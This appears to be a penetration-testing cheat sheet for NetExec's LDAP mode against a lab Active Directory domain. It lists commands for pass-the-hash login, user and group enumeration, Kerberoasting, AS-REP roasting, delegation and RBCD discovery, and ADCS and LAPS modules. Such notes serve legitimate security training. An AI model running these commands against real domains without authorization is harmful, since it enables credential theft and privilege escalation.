NXC

NetExec LDAP gives fast domain enumeration and wraps common LDAP modules for users, groups, computers, trusts, delegation, ADCS, LAPS, roasting, and custom attribute pulls.

export DC=10.10.10.200
export DOMAIN=OOTW
export USER='student'
export PASS='student'

Authentication:

nxc ldap $DC
nxc ldap $DC -d $DOMAIN -u $USER -p "$PASS"
nxc ldap $DC -d $DOMAIN -u Administrator -H '<NTLM_HASH>'
nxc ldap $DC -d $DOMAIN -u $USER -p "$PASS" --kerberos --kdcHost dc01.ootw.local

Core enumeration:

nxc ldap $DC -d $DOMAIN -u $USER -p "$PASS" --users
nxc ldap $DC -d $DOMAIN -u $USER -p "$PASS" --groups
nxc ldap $DC -d $DOMAIN -u $USER -p "$PASS" --computers
nxc ldap $DC -d $DOMAIN -u $USER -p "$PASS" --pwdPolicy
nxc ldap $DC -d $DOMAIN -u $USER -p "$PASS" --admin-count

Roasting and delegation:

nxc ldap $DC -d $DOMAIN -u $USER -p "$PASS" -M get-spns
nxc ldap $DC -d $DOMAIN -u $USER -p "$PASS" -M asreproast
nxc ldap $DC -d $DOMAIN -u $USER -p "$PASS" -M findDelegation
nxc ldap $DC -d $DOMAIN -u $USER -p "$PASS" -M rbcd

High-value modules:

nxc ldap $DC -d $DOMAIN -u $USER -p "$PASS" -M get-trusts
nxc ldap $DC -d $DOMAIN -u $USER -p "$PASS" -M adcs
nxc ldap $DC -d $DOMAIN -u $USER -p "$PASS" -M laps

Custom filter and attributes:

nxc ldap $DC -d $DOMAIN -u $USER -p "$PASS" --filter '(&(objectCategory=person)(objectClass=user))' --attrs 'sAMAccountName,userPrincipalName,memberOf'
nxc ldap $DC -d $DOMAIN -u $USER -p "$PASS" --filter '(servicePrincipalName=*)' --attrs 'sAMAccountName,servicePrincipalName'

Module options:

nxc ldap -M get-spns --options
nxc ldap -M findDelegation --options
nxc ldap -M adcs --options